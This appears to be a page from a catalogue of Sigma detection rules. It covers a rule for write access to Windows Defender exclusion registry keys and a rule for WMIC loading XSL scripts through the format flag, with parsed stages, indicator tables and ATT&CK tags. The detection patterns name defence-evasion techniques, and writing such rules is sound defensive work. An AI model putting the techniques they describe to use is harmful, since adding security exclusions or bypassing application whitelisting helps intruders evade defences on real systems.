related:
    - id: 46a68649-f218-4f86-aea1-16a759d81820
      type: derived
    - id: a33f8808-2812-4373-ae95-8cfb82134978
      type: derived
status: test
description: |
    Detects write access requests to the Windows Defender exclusions registry keys. This could be an indication of an attacker trying to request a handle or access the object to write new exclusions in order to bypass security.
references:
    - https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/
author: '@BarryShooshooga, Nasreddine Bencherchali (Nextron Systems)'
date: 2019-10-26
modified: 2023-11-11
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    product: windows
    service: security
    definition: 'Requirements: Audit Policy : Security Settings/Local Policies/Audit Policy, Registry System Access Control (SACL): Auditing/User'
detection:
    selection:
        AccessList|contains:
            - '%%4417' # WriteData
            - '%%4418' # AppendData
        EventID:
            - 4656 # A handle to an object was requested.
            - 4663 # An attempt was made to access an object.
        ObjectName|contains: '\Microsoft\Windows Defender\Exclusions\'
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    AccessList|contains:
        - '%%4417'
        - '%%4418'
    EventID:
        - 4656
        - 4663
    ObjectName|contains: '\Microsoft\Windows Defender\Exclusions\'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
AccessListmatch
  • %%4417 corpus 11 (sigma 8, elastic 2, splunk 1)
  • %%4418 corpus 2 (sigma 1, splunk 1)
field:"AccessList" kind:match
ObjectNamematch
  • \Microsoft\Windows Defender\Exclusions\ corpus 2 (sigma 2)
field:"ObjectName" kind:match value:"\Microsoft\Windows Defender\Exclusions\"

XSL Script Execution Via WMIC.EXE

#
Status
test
Severity
medium
Author
Timur Zinniatullin, oscd.community, Swachchhanda Shrawan Poudel
Source
github.com/SigmaHQ/sigma

Detects the execution of WMIC with the "format" flag to potentially load local XSL files. Adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.

Known False Positives

  • WMIC.exe FP depend on scripts and administrative methods used in the monitored environment.
  • Static format arguments - https://petri.com/command-line-wmi-part-3

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: XSL Script Execution Via WMIC.EXE
id: 05c36dd6-79d6-4a9a-97da-3db20298ab2d
related:
    - id: 06ce37c2-61ab-4f05-9ff5-b1a96d18ae32
      type: similar
    - id: 8d63dadf-b91b-4187-87b6-34a1114577ea
      type: similar
status: test
description: |
    Detects the execution of WMIC with the "format" flag to potentially load local XSL files.
    Adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.
    Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md
author: Timur Zinniatullin, oscd.community, Swachchhanda Shrawan Poudel
date: 2019-10-21
modified: 2026-01-24
tags:
    - attack.stealth
    - attack.t1047
    - attack.t1220
    - attack.execution
    - attack.t1059.005
    - attack.t1059.007
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\wmic.exe'
        - OriginalFileName: 'wmic.exe'
        - Hashes|contains:  # Sysmon field hashes contains all types
              - 'IMPHASH=1B1A3F43BF37B5BFE60751F2EE2F326E'
              - 'IMPHASH=37777A96245A3C74EB217308F3546F4C'
              - 'IMPHASH=9D87C9D67CE724033C0B40CC4CA1B206'
              - 'IMPHASH=B12619881D79C3ACADF45E752A58554A'
              - 'IMPHASH=16A48C3CABF98A9DC1BF02C07FE1EA00'
    selection_cmd:
        CommandLine|contains|windash: '-format:'     # wmic process list -FORMAT /? or wmic process list /FORMAT /?
    filter_main_known_format:
        CommandLine|contains:
            - 'Format:List'
            - 'Format:htable'
            - 'Format:hform'
            - 'Format:table'
            - 'Format:mof'
            - 'Format:value'
            - 'Format:rawxml'
            - 'Format:xml'
            - 'Format:csv'
    filter_main_remote_operation: # Covered by 8d63dadf-b91b-4187-87b6-34a1114577ea
        CommandLine|contains:
            - '://'
            - '\\\\'
    condition: all of selection_* and not 1 of filter_main_*
falsepositives:
    - WMIC.exe FP depend on scripts and administrative methods used in the monitored environment.
    - Static format arguments - https://petri.com/command-line-wmi-part-3
level: medium

Stages and Predicates

Stage 0: condition

all of selection_* and not 1 of filter_main_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\wmic.exe'
    - OriginalFileName: 'wmic.exe'
    - Hashes|contains:
          - 'IMPHASH=1B1A3F43BF37B5BFE60751F2EE2F326E'
          - 'IMPHASH=37777A96245A3C74EB217308F3546F4C'
          - 'IMPHASH=9D87C9D67CE724033C0B40CC4CA1B206'
          - 'IMPHASH=B12619881D79C3ACADF45E752A58554A'
          - 'IMPHASH=16A48C3CABF98A9DC1BF02C07FE1EA00'

Stage 2: selection_cmd

selection_cmd:
    CommandLine|contains|windash: '-format:'

Stage 3: not filter_main_*

filter_main_known_format:
    CommandLine|contains:
        - 'Format:List'
        - 'Format:htable'
        - 'Format:hform'
        - 'Format:table'
        - 'Format:mof'
        - 'Format:value'
        - 'Format:rawxml'
        - 'Format:xml'
        - 'Format:csv'
filter_main_remote_operation:
    CommandLine|contains:
        - '://'
        - '\\\\'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -format: transforms: windash
field:"CommandLine" kind:match value:"-format:"
Hashesmatch
  • IMPHASH=16A48C3CABF98A9DC1BF02C07FE1EA00 corpus 2 (sigma 2)
  • IMPHASH=1B1A3F43BF37B5BFE60751F2EE2F326E corpus 2 (sigma 2)
  • IMPHASH=37777A96245A3C74EB217308F3546F4C corpus 2 (sigma 2)
  • IMPHASH=9D87C9D67CE724033C0B40CC4CA1B206 corpus 2 (sigma 2)
  • IMPHASH=B12619881D79C3ACADF45E752A58554A corpus 2 (sigma 2)
field:"Hashes" kind:match
Imageends_with
  • \wmic.exe corpus 62 (sigma 62)
field:"Image" kind:ends_with value:"\wmic.exe"
OriginalFileNameeq
  • wmic.exe corpus 74 (sigma 38, elastic 18, splunk 18)
field:"OriginalFileName" kind:eq value:"wmic.exe"

Exclusions

The rule actively suppresses these predicates.

Back to all Sigma rules